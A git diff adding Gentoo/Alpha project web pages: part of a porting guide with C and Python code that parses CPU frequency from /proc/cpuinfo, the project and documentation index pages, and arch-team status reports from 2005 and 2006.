+POSSIBILITY OF SUCH DAMAGE.
+
+/* return system frequency in MHz (use divisor=1) or GHz (use divisor=1000) */
+void get_freq( char * p_client_buffer, size_t client_buffer_size, char * p_format, int divisor )
+{
+        FILE *f;
+        char frequency[32];
+        char s[256];
+        double freq = 0;
+
+        if ( !p_client_buffer || client_buffer_size &lt;= 0 || !p_format || divisor &lt;= 0 )
+                return;
+
+        f = fopen(CPUFREQ_CURRENT, "r");
+        if (f) {
+                /* if there's a cpufreq /sys node, read the current frequency from this node;
+                 * divide by 1000 to get Mhz. */
+                if (fgets(s, sizeof(s), f)) {
+                        s[strlen(s)-1] = '\0';
+                        freq = strtod(s, NULL);
+                }
+                fclose(f);
+                snprintf( p_client_buffer, client_buffer_size, p_format, (freq/1000)/divisor );
+                return;
+        }
+
+        f = fopen("/proc/cpuinfo", "r");                //open the CPU information file
+        if (!f)
+            return;
+
+        while (fgets(s, sizeof(s), f) != NULL){         //read the file
+#if defined(__i386) || defined(__x86_64)
+                if (strncmp(s, "cpu MHz", 7) == 0) {    //and search for the cpu mhz
+#else
+                if (strncmp(s, "clock", 5) == 0) {      // this is different on ppc for some reason
+#endif
+                strcpy(frequency, strchr(s, ':') + 2);  //copy just the number
+                frequency[strlen(frequency) - 1] = '\0'; // strip \n
+                freq = strtod(frequency, NULL);
+                break;
+                }
+        }
+
+        fclose(f);
+        snprintf( p_client_buffer, client_buffer_size, p_format, (float)freq/divisor );
+        return;
+}
+</pre>
+
+<p>
+Unlike some of the other portability problems that this document discusses,
+this problem is not language specific. Here is an example of the problem
+in python.
+</p>
+
+<pre caption="/proc/cpuinfo parser written in python">
+import re
+
+def get_freq():
+        r = re.compile('^cpu MHz\s+:\s+(\d+\.\d+)$', re.M)
+        m = r.search( open('/proc/cpuinfo').read() )
+        return float(m.group(1))
+</pre>
+
+</body>
+</section>
+<section>
+<title>Finding a Solution</title>
+<body>
+
+<p>
+To solve the problem we make an exception for alpha by using the 
+<c>__alpha</c> preprocessor definition. We also need to divide the value 
+by 1000000 to get the CPU frequency in MHz.
+</p>
+
+<pre caption="/proc/cpuinfo parser from conky">
+Copyright (c) 2004, Hannu Saransaari and Lauri Hakkarainen
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+    * this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright
+    * notice, this list of conditions and the following disclaimer in the
+    * documentation and/or other materials provided with the distribution.
+    * Neither the name of the &lt;ORGANIZATION&gt; nor the names of its
+    * contributors may be used to endorse or promote products derived from
+    * this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+
+/* return system frequency in MHz (use divisor=1) or GHz (use divisor=1000) */
+void get_freq( char * p_client_buffer, size_t client_buffer_size, char * p_format, int divisor )
+{
+        FILE *f;
+        char frequency[32];
+        char s[256];
+        double freq = 0;
+
+        if ( !p_client_buffer || client_buffer_size &lt;= 0 || !p_format || divisor &lt;= 0 )
+                return;
+
+        f = fopen(CPUFREQ_CURRENT, "r");
+        if (f) {
+                /* if there's a cpufreq /sys node, read the current frequency from this node;
+                 * divide by 1000 to get Mhz. */
+                if (fgets(s, sizeof(s), f)) {
+                        s[strlen(s)-1] = '\0';
+                        freq = strtod(s, NULL);
+                }
+                fclose(f);
+                snprintf( p_client_buffer, client_buffer_size, p_format, (freq/1000)/divisor );
+                return;
+        }
+
+        f = fopen("/proc/cpuinfo", "r");                //open the CPU information file
+        if (!f)
+            return;
+
+        while (fgets(s, sizeof(s), f) != NULL){         //read the file
+#if defined(__i386) || defined(__x86_64)
+                if (strncmp(s, "cpu MHz", 7) == 0) {    //and search for the cpu mhz
+#else
+#if defined(__alpha)
+                if (strncmp(s, "cycle frequency [Hz]", 20) == 0) {              // different on alpha
+#else
+                if (strncmp(s, "clock", 5) == 0) {      // this is different on ppc for some reason
+#endif // defined(__alpha)
+#endif // defined(__i386) || defined(__x86_64)
+
+                strcpy(frequency, strchr(s, ':') + 2);  //copy just the number
+#if defined(__alpha)
+                frequency[strlen(frequency) - 6] = '\0';// strip " est.\n"
+                freq = strtod(frequency, NULL)/1000000; // kernel reports in Hz
+#else
+                frequency[strlen(frequency) - 1] = '\0'; // strip \n
+                freq = strtod(frequency, NULL);
+#endif
+                break;
+                }
+        }
+
+        fclose(f);
+        snprintf( p_client_buffer, client_buffer_size, p_format, (float)freq/divisor );
+        return;
+}
+</pre>
+
+<p>
+The python fix is similar, just make an exception for alpha by using
+<c>os.uname()[-1]</c> to determine the system architecture.
+</p>
+
+<pre caption="/proc/cpuinfo parser written in python">
+import re, os
+
+def get_freq_alpha():
+        r = re.compile('^cycle frequency \[Hz\]\s+:\s+(\d+)\s+est\.$', re.M)
+        m = r.search( open('/proc/cpuinfo').read() )
+        return float(int(m.group(1))/1000000.0)
+
+def get_freq():
+        if os.uname()[-1] == 'alpha':
+                return get_freq_alpha()
+        else:
+                r = re.compile('^cpu MHz\s+:\s+(\d+\.\d+)$', re.M)
+                m = r.search( open('/proc/cpuinfo').read() )
+                return float(m.group(1))
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/alpha/doc/index.xml b/xml/htdocs/proj/en/base/alpha/doc/index.xml
new file mode 100644
index 00000000..70b0ec6d
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/doc/index.xml
@@ -0,0 +1,104 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/alpha/doc/index.xml,v 1.3 2006/05/25 17:17:14 tcort Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/base/alpha/doc/index.xml">
+<title>Gentoo Alpha Documentation</title>
+
+<author title="Author">
+  <mail link="yoswink@gentoo.org">José Luis Rivero</mail>
+</author>
+
+<abstract>
+Gentoo/Alpha Documentation page.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-05-25</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Gentoo/Alpha Doc Section</title>
+<body>
+
+<p>
+This section tries to become a big index where users and devs can find any
+link related to Gentoo/Alpha documentation or related to Alpha processors.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Documentation</title>
+<section>
+<title>Gentoo/Alpha Specific Docs</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="/doc/en/handbook/handbook-alpha.xml">Gentoo/Alpha
+    Handbook</uri>: the handbook contains the installation instructions for
+    Alpha machines and parts about working with Gentoo and Portage.
+  </li>
+  <li>
+    <uri link="/doc/en/gentoo-alpha-faq.xml">Gentoo/Alpha FAQ</uri>: the FAQ
+    is intended to answer some of the most frequently asked questions relating
+    to Gentoo/Alpha and Linux/Alpha in general.
+  </li>
+  <li>
+    <uri link="/proj/en/base/alpha/doc/alpha-porting-guide.xml">Gentoo/Alpha
+    Porting Guide</uri>: this guide is intended to show C programmers
+    how to port programs written on other architectures to the Alpha
+    architecture.
+  </li>
+  <li>
+    <uri
+    link="http://devmanual.gentoo.org/archs/alpha/#">Gentoo/Alpha
+    Devmanual Section</uri>: a quick overview about Alpha architecture inside
+    Devmanual.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Alpha Related Docs</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.alphalinux.org/docs/">AlphaLinux.org Docs:</uri>
+    Alphalinux.org has one of the better collections of Alpha related
+    articles and docs.
+  </li>
+  <li>
+    <uri link="http://www.alasir.com/alpha/alpha_history.html">Alpha, The
+    History in Facts and Comments:</uri> a good doc about Alpha history from
+    the beginning to the cancelled EV8.
+  </li>
+  <li>
+    <uri
+    link="http://h18002.www1.hp.com/alphaserver/download/alphaserver_roadmap.pdf">
+    HP Alpha Future Roadmap 2005-2011</uri>: HP official doc about the plans
+    for Alpha processors in next years. Not very good news.
+  </li>
+  <li>
+    <uri
+    link="http://www.cs.arizona.edu/computer.help/policy/DIGITAL_unix/AA-PS31D-TET1_html/TOC.html">Alpha
+    Assembly Language Programmer's Guide</uri>: this book describes the
+    assembly language supported by the Digital UNIX compiler system, its
+    syntax rules, and how to write some assembly programs.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/alpha/index.xml b/xml/htdocs/proj/en/base/alpha/index.xml
new file mode 100644
index 00000000..de242634
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/index.xml
@@ -0,0 +1,126 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/alpha/index.xml,v 1.22 2009/09/29 15:37:20 klausman Exp $ -->
+
+<!DOCTYPE project SYSTEM "http://www.gentoo.org/dtd/project.dtd">
+
+<project>
+<name>Gentoo Alpha</name>
+
+<longname>Gentoo Linux Alpha Development</longname>
+
+<date>2008-12-15</date>
+
+<author title="Gentoo/Alpha">
+  <mail link="yoswink@gentoo.org">José Luis Rivero</mail>
+</author>
+<author title="Gentoo/Alpha">
+  <mail link="klausman@gentoo.org">Tobias Klausmann</mail>
+</author>
+
+<description>
+  The Gentoo/Alpha Arch Team is devoted to keeping Gentoo in good shape
+  on the Alpha architecture.
+</description>
+
+<longdescription><p>
+  The Gentoo/Alpha Port works to keep Gentoo the most up to date and
+  fastest Alpha distribution available. We are responsible for the
+  maintenance of all Alpha specific meta-data and the testing of all other
+  non Alpha specific meta-data on the Alpha architecture to ensure
+  portability. Portability implies reusable meta-data.
+</p></longdescription>
+
+<goals>
+  <p>
+  The goal of the Gentoo/Alpha Port is to guarantee that the Alpha packages
+  build using Gentoo meta-data are up to date.  By continuously enhancing the
+  meta-data, we provide the Alpha user with the Gentoo community feeling,
+  performance, freedom and up to dateness.  The meta-distribution notion
+  allows for a user to to be as bleeding edge as he/she wants:
+  </p>
+
+  <p>
+  Gentoo is unique because of its interpretation of the Meta-Distribution
+  notion: all architectures share the same 'generic' meta-data (information
+  about how to build packages - how to build a distribution). The Alpha
+  developers are responsible for building and testing packages using this
+  meta-data.  The meta-data gets marked 'tested' or 'stable' afterwards,
+  depending on the building and testing experience. Our users can use (but
+  don't have to use) this information to build a system that suits their
+  needs.
+  </p>
+</goals>
+
+<dev role="Lead" description="Gentoo/Alpha">klausman</dev>
+<dev role="member" description="Porting, Security">armin76</dev>
+
+<extraproject name="Alpha Release Coordinator" lead="">
+  Development and maintenance of the Gentoo/Alpha LiveCDs, the installation
+  stages and the related development tools (Catalyst and Genkernel).
+  The Release Engineering team crosses architecture boundaries while trying
+  to develop generic multi-architecture and multi-platform release media.
+</extraproject>
+
+<extraproject name="Documentation" lead="">
+  The aim of the <uri link="/proj/en/base/alpha/doc/index.xml">Alpha
+  Documentation</uri> is to ensure that installation instructions are
+  up to date and offer high quality Gentoo/Alpha docs to our devs and
+  community.
+</extraproject>
+
+<extraproject name="Status Reports" lead="">
+  The <uri link="/proj/en/base/alpha/status/index.xml">Status Reports
+  Project</uri> appears to improve comunication between Gentoo/Alpha
+  Port and the users community. It tries to be a semestral report where
+  Gentoo/Alpha devs talk about the port progress during last months, on what we
+  are working on and what are the next steps programmed for the future.
+</extraproject>
+
+<extraproject name="Hardened" lead="">
+  The Hardened/Alpha project aims to bring some features of the Hardened
+  project to the Alpha platform. Current efforts are limited to SELinux
+  support and the hardened-sources.
+</extraproject>
+
+<extraproject name="Arch Testers" lead="">
+  The <uri link="/proj/en/base/alpha/AT/index.xml">Gentoo/Alpha Arch Tester
+  project</uri> is heavily based on the Gentoo/AMD64 Arch Tester
+  Project and the Gentoo/PPC Arch Tester Project. The Project is meant to help
+  the Gentoo/Alpha Arch Team providing an stable, secure and up to date Gentoo
+  Linux port.
+</extraproject>
+
+<extrachapter position="bottom">
+  <title>How to Participate</title>
+  <section>
+  <body>
+
+  <p>
+  Can you make computers do amazing things? Are you excited about
+  exploring areas of computing never explored before? We are
+  continuously looking for volunteers willing to spend some of their
+  free time on this project. In return for your work, you get the
+  respect of the alpha community.
+  </p>
+
+  <p>
+  If you are interested in helping, but don't have a niche that you are
+  interested in filling, you can always look through <uri
+  link="http://bugs.gentoo.org">bugs.gentoo.org</uri>. There are many
+  many bugs waiting to be found and fixed and many enhancements looking
+  to find someone to code them. Figure out a fix, implement it, test it,
+  and then keep trying to make the patch smaller. Post it for review on
+  <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>, and keep
+  working on it. If it seems ignored, make a new comment in the bug
+  and/or mention it in #gentoo-alpha.
+  </p>
+
+  </body>
+  </section>
+</extrachapter>
+
+<herd name="alpha"/>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/alpha/status/index.xml b/xml/htdocs/proj/en/base/alpha/status/index.xml
new file mode 100644
index 00000000..d98f9cda
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/status/index.xml
@@ -0,0 +1,83 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/alpha/status/index.xml,v 1.4 2007/07/21 18:51:49 yoswink Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/base/alpha/status/index.xml">
+<title>Gentoo Linux Alpha Status Reports</title>
+
+<author title="Author">
+  <mail link="yoswink@gentoo.org">José Luis Rivero</mail>
+</author>
+
+<abstract>
+Gentoo/Alpha Status Reports Project Page
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-06-22</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>What are Gentoo/Alpha Status Reports?</title>
+<body>
+
+<p>
+The Status Reports project appears to improve communication between
+Gentoo/Alpha Port and the users community. It tries to provide a semestral
+report where Gentoo/Alpha devs talk about the port progress during last
+months: on what we are working on and what are the next steps programmed
+for the future.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Reports</title>
+<section>
+<title>2007</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="/proj/en/base/alpha/status/status-20070721.xml">First Semester</uri>
+    [<uri link="/proj/en/base/alpha/status/status-20070721.txt">plain-text version</uri>]
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>2006</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="/proj/en/base/alpha/status/status-20060621.xml">First Semester</uri>
+    [<uri link="/proj/en/base/alpha/status/status-20060621.txt">plain-text version</uri>]
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>2005</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="/proj/en/base/alpha/status/status-20051207.xml">Second Semester</uri>
+    [<uri link="/proj/en/base/alpha/status/status-20051207.txt">plain-text version</uri>]
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/alpha/status/status-20051207.txt b/xml/htdocs/proj/en/base/alpha/status/status-20051207.txt
new file mode 100644
index 00000000..158f7c5f
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/status/status-20051207.txt
@@ -0,0 +1,117 @@
+Alpha status Dec 2005
+=====================
+
+A little report about how the alpha arch team development activities are 
+going.
+
+Index:
+
+  - Toolchain and Kernel development
+  - Security Bugs
+  - SELinux development
+  - Modular Xorg on Gentoo/Alpha
+  - Experimental java on Gentoo/Alpha
+  - Alpha arch testers project
+  - Future Alpha project page
+
+Toolchain and Kernel development 
+----------------------------------
+  
+Thanks mainly to Bryan Østergaard (kloeri) and our base herd, the toolchain
+and the kernel are in very good health:
+
+  * GCC
+  GCC was stabilized few days ago to version 3.4.4. Our next step will be
+  trying to get gcc-4 working in the testing branch.
+   
+  * Kernel
+  New kernel alpha keywords reached Portage tree, so the current situation 
+  is:
+
+    - 2.4 series: 2.4.30   (stable) -- 2.4.32     (testing)
+    - 2.6 series: 2.6.14.2 (stable) -- 2.6.15_rc5 (testing)
+
+  udev and nptl support is working fine on the 2.6 kernel series.
+
+  * C libraries
+  glibc-2.3.5 hit the stable branch a few days ago after being more than 
+  a month in testing and see no important bugs on it. This version allows 
+  us to avoid the critical "Threads defuncts on Alpha" bug (#100259). 
+  Everybody without nptl support is encourage to install this version as 
+  soon as possible.
+
+  * Binutils
+  kloeri is planning on bumping to stable binutils 2.16.1 in the next 
+  few days. This way, the whole toolchain will be completely up to date.
+  
+Security Bugs
+-------------
+
+The Alpha arch team is pleased to say that we've managed all security bugs 
+within a very reasonable response time. At the moment, no delay on 
+marking stable versions when security requires it.
+
+Kudos also, to our security herd and rest of our arch teams for keeping Gentoo
+security in a high level.
+
+SELinux development 
+-------------------
+
+Stephen Bennett (spb) is currently working on SELinux support for Gentoo/Alpha
+and we hope to see a SELinux profile for alpha in the tree as soon as we feel
+confident about it.
+
+A little note here to say thanks to Dforge and Virginia Computer Science
+Department for maintaining our testing computers and adding  the new boxes 
+to support SELinux development. 
+
+Modular Xorg on Gentoo/Alpha
+----------------------------
+
+Thanks to our developer Stefaan De Roeck (stefaan) the modular Xorg porting
+to alpha is going pretty well. We are still waiting for upstream to fix some
+errors before putting the alpha keyword on it:
+  - https://bugs.freedesktop.org/show_bug.cgi?id=4928
+
+Stefaan also has a tinderbox to check modular xorg on alpha:
+  - http://tinderbox.anholt.net/tinderbox3/showbuilds.pl?tree=xorg
+
+Experimental java on Gentoo/Alpha
+---------------------------------
+
+After some work trying to fix compaq-java (see bug #84306) we are nearly 
+sure it is a waste of time trying to make something unsupported upstream 
+and obsolete (provide jre/jdk-1.3) work.
+
+After some experiences with SableVM, Thomas Cort (tcort) has been playing with
+lastest version of this free alternative to make java work on Alpha. SableVM
+seems to work with basic packages so, our plan is to set up an overlay and 
+start playing with this.
+
+More info about Thomas' current work:
+  - http://mediumbagel.org/java/
+
+Alpha Arch testers Project
+--------------------------
+
+Fernando J. Pereda (ferdy) is working these days on setting up our Arch
+Testers project which has given very good results on other arch teams 
+inside Gentoo (mainly amd64).
+
+For more information, you can read the overview on the amd64 arch 
+testers' project page to see what this project is about:
+  - http://www.gentoo.org/proj/en/base/amd64/tests/index.xml
+
+Future change on the Alpha Project Page
+---------------------------------------
+
+We hope to make some changes on our official project page to keep public info
+well structured and a bit more updated than it is now. Also starting 
+subproject sections with information about arch testers, SELinux and 
+java would be good.
+  
+  - (current page) http://www.gentoo.org/proj/en/base/alpha/
+
+------------------------
+Gentoo Alpha Herd
+Dec 2005
diff --git a/xml/htdocs/proj/en/base/alpha/status/status-20051207.xml b/xml/htdocs/proj/en/base/alpha/status/status-20051207.xml
new file mode 100644
index 00000000..36f3a03b
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/status/status-20051207.xml
@@ -0,0 +1,252 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/base/alpha/status/status-20051207.xml" lang="en">
+<title>Alpha Status Report</title>
+<author title="Author">
+  <mail link="alpha@gentoo.org">Gentoo/Alpha</mail>
+</author>
+
+<abstract>
+Status report of Gentoo/Alpha Arch Team
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.0</version>
+<date>2005-12-06</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo/Alpha Arch Team. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-alpha@gentoo.org">gentoo-alpha@gentoo.org</mail>.
+</p>
+
+<p>
+The Gentoo/Alpha Arch Team, has its own project page (just like almost all 
+other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/base/alpha/</uri>. Also you can contact us
+via IRC at #gentoo-alpha using Freenode IRC server.
+</p>
+
+</body>
+</section>
+<section>
+<title>Index</title>
+<body>
+
+<p>
+This status report will briefly discuss the following tasks, objectives and/or
+projects related to the Gentoo/Alpha Arch Team:
+</p>
+
+<ul>
+  <li><uri link="#doc_chap2_sect1">Toolchain and Kernel development</uri></li>
+  <li><uri link="#doc_chap2_sect2">Security Bugs</uri></li>
+  <li><uri link="#doc_chap2_sect3">SELinux development</uri></li>
+  <li><uri link="#doc_chap2_sect4">Modular Xorg on Gentoo/Alpha</uri></li>
+  <li><uri link="#doc_chap2_sect5">Experimental java on Gentoo/Alpha</uri></li>
+  <li><uri link="#doc_chap2_sect6">Alpha arch testers project</uri></li>
+  <li><uri link="#doc_chap2_sect7">Future Alpha project page</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Content</title>
+<section>
+<title>Toolchain and Kernel development</title>
+<body>
+
+<p>
+Thanks mainly to Bryan Østergaard (<mail
+link="kloeri@gentoo.org">kloeri</mail>) and our <uri link="/proj/en/base/">base
+herd</uri>, the toolchain and the kernel are in very good health:
+</p>
+
+<ul>
+  <li>
+    <b>GCC</b><br/>
+    GCC was stabilized few days ago to version 3.4.4. Our next step will be
+    trying to get gcc-4 working in the testing branch.
+  </li>
+  <li>
+    <b>Kernel</b><br/>
+    New kernel alpha keywords reached Portage tree, so the current situation 
+    is:
+    <ul>
+      <li>2.4 series: 2.4.30   (stable) -- 2.4.32     (testing)</li>
+      <li>2.6 series: 2.6.14.2 (stable) -- 2.6.15_rc5 (testing)</li>
+    </ul>
+    udev and nptl support is working fine on the 2.6 kernel series.
+  </li>
+  <li>
+    <b>C libraries</b><br/>
+    glibc-2.3.5 hit the stable branch a few days ago after being more than a
+    month in testing and see no important bugs on it. This version allows us
+    to avoid the critical bug <uri
+    link="https://bugs.gentoo.org/100259">"Threads defuncts on Alpha"</uri>.
+    Everybody without nptl support is encourage to install this version as
+    soon as possible.
+  </li>
+  <li>
+    <b>Binutils</b><br/>
+    <mail link="kloeri@gentoo.org">kloeri</mail> is planning on bumping to
+    stable binutils 2.16.1 in the next few days. This way, the whole toolchain
+    will be completely up to date.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Security Bugs</title>
+<body>
+
+<p>
+The Alpha arch team is pleased to say that we've managed all security bugs 
+within a very reasonable response time. At the moment, no delay on 
+marking stable versions when security requires it.
+</p>
+
+<p>
+Kudos also, to our <uri link="/proj/en/security/">security herd</uri> and 
+rest of our arch teams for keeping Gentoo security in a high level.
+</p>
+
+</body>
+</section>
+<section>
+<title>SELinux development </title>
+<body>
+
+<p>
+Stephen Bennett (<mail link="spb@gentoo.org">spb</mail>) is currently working
+on <uri link="/proj/en/hardened/selinux/">SELinux</uri> support for 
+Gentoo/Alpha and we hope to see a SELinux profile for alpha in the tree as 
+soon as we feel confident about it.
+</p>
+
+<p>
+A little note here to say thanks to <mail
+link="mcreis@gmail.com">Dforge</mail> and <uri
+link="http://www.cs.virginia.edu/">Virginia Computer Science Department</uri>
+for maintaining our testing computers and adding  the new boxes to support
+SELinux development. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Modular Xorg on Gentoo/Alpha</title>
+<body>
+
+<p> 
+Thanks to our developer Stefaan De Roeck (<mail
+link="stefaan@gentoo.org">stefaan</mail>) the modular Xorg porting to alpha is
+going pretty well. We are still waiting for upstream to fix some <uri
+link="https://bugs.freedesktop.org/show_bug.cgi?id=4928">errors</uri> before
+putting the alpha keyword on it.
+</p>
+
+<p>
+Stefaan also has a tinderbox to check modular xorg on alpha:
+</p>
+
+<ul>
+  <li>
+    <uri link="http://tinderbox.anholt.net/tinderbox3/showbuilds.pl?tree=xorg">
+    Gentoo/Alpha Modular Xorg Tinderbox</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Experimental java on Gentoo/Alpha</title>
+<body>
+
+<p>
+After some work trying to fix compaq-java (see bug <uri
+link="https://bugs.gentoo.org/84306">84306</uri>) we are nearly sure it is a
+waste of time trying to make something unsupported upstream and obsolete
+(provide jre/jdk-1.3) work.
+</p>
+
+<p>
+After some experiences with SableVM, Thomas Cort (<mail
+link="tcort@cs.ubishops.ca">tcort</mail>) has been playing with lastest version
+of this free alternative to make java work on Alpha. SableVM seems to work
+with basic packages so, our plan is to set up an overlay and start playing
+with this.
+</p>
+
+<p>
+More info about Thomas' current work:
+</p>
+
+<ul>
+  <li>
+    <uri link="http://mediumbagel.org/java/">Java on Gentoo/Alpha report</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Alpha Arch testers Project</title>
+<body>
+
+<p>
+Fernando J. Pereda (<mail link="ferdy@gentoo.org">ferdy</mail>) is working
+these days on setting up our Arch Testers project which has given very good
+results on other arch teams inside Gentoo (mainly amd64).
+</p>
+
+<p>
+For more information, you can read the overview on the amd64 arch 
+testers' project page to see what this project is about:
+</p>
+
+<ul>
+  <li>
+    <uri link="/proj/en/base/amd64/tests/index.xml">Gentoo/AMD64 Testing 
+    Docs</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Future change on the Alpha Project Page</title>
+<body>
+
+<p>
+We hope to make some changes on our official project page to keep public info
+well structured and a bit more updated than it is now. Also starting 
+subproject sections with information about arch testers, SELinux and 
+java would be good.
+</p>
+
+<ul>
+  <li> 
+    <uri link="http://www.gentoo.org/proj/en/base/alpha/">Current 
+    Gentoo/Alpha Arch Team page</uri> 
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/alpha/status/status-20060621.txt b/xml/htdocs/proj/en/base/alpha/status/status-20060621.txt
new file mode 100644
index 00000000..ed9bcf65
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/status/status-20060621.txt
@@ -0,0 +1,147 @@
+Gentoo/Alpha Status Report
+==========================
+
+1. Status Reports
+-----------------
+
+Preliminaries
+
+This is the status of the Gentoo/Alpha porting team. It will be posted 
+regularly, but not with a static frequency. All questions can be posted 
+to gentoo-alpha@gentoo.org. The Gentoo/Alpha porting team, has its own 
+project page (just like almost all other Gentoo projects). You can find 
+it at http://alpha.gentoo.org/. Also you can contact us via IRC at 
+#gentoo-alpha on irc.freenode.net. The latest status report can always 
+be found on the Gentoo Linux Alpha Status Reports[1] subproject page.
+
+[1] http://www.gentoo.org/proj/en/base/alpha/status/index.xml
+
+Index
+
+This status report will briefly discuss the following tasks, objectives, 
+and/or projects related to the Gentoo/Alpha porting team:
+
+    * New Developers
+    * Keywording and Stabilization
+    * Firefox and Thunderbird are Broken
+    * Documentation Project
+    * Alpha Arch Testers Project
+    * New Alpha project page
+    * Donations
+    * 2.6 SMP Kernels
+
+2. Content
+==========
+
+New Developers
+--------------
+
+Since the last status report, the following developers have joined the 
+Gentoo/Alpha porting project:
+
+    * Christel Dahlskjaer (christel)
+      Christel joined the Gentoo/Alpha porting team recently to help 
+      with testing kernels on SMP hardware.
+    * Thomas Cort (tcort)
+      Thomas joined the Gentoo/Alpha porting team in early April to help 
+      with bug fixing, keywording, documentation, and security bugs.
+    * Chris Gianelloni (wolf31o2)
+      Chris joined the Gentoo/Alpha porting team recently to help with 
+      testing kernels on SMP hardware.
+
+Keywording and Stabilization
+----------------------------
+
+Stephen Bennett (spb) has continued his work with SELinux on alpha. 
+hardened-sources is now keyworded for alpha. Thanks to the work of 
+Stefaan De Roeck (stefaan) and others, modular X has been keyworded and 
+is working well on alpha. The Alpha arch team is also pleased to 
+announce that we have stabilized gnome-2.12.3 and kde-3.5.2 since the 
+last status report. 
+
+Firefox and Thunderbird are Broken
+----------------------------------
+
+The mozilla project[2] has chosen to discontinue the development of the 
+1.0.x versions of firefox and thunderbird. Since that decision, multiple 
+security holes have been uncovered. As a result, we had to mask the 
+1.0.x versions of firefox and thunderbird to keep our users secure since 
+there are no plans to fix the security holes.
+
+No one on the Gentoo/Alpha team has been successful at getting the 1.5.x 
+versions of firefox and thunderbird to run correctly, see Bug #113944 
+and Bug #131359. If you can help get these packages working on alpha, it 
+would be very much appreciated. 
+
+[2] http://mozilla.org/
+[3] https://bugs.gentoo.org/113944
+[4] https://bugs.gentoo.org/113944
+
+Documentation Project
+---------------------
+
+The documentation subproject has written multiple new documents:
+
+    * The Gentoo/Alpha FAQ[5] - an FAQ intended to answer some of the 
+      most frequently asked questions relating to Gentoo/Alpha and 
+      Linux/Alpha in general.
+    * Alpha Porting Guide[6] - a guide intended to show C programmers 
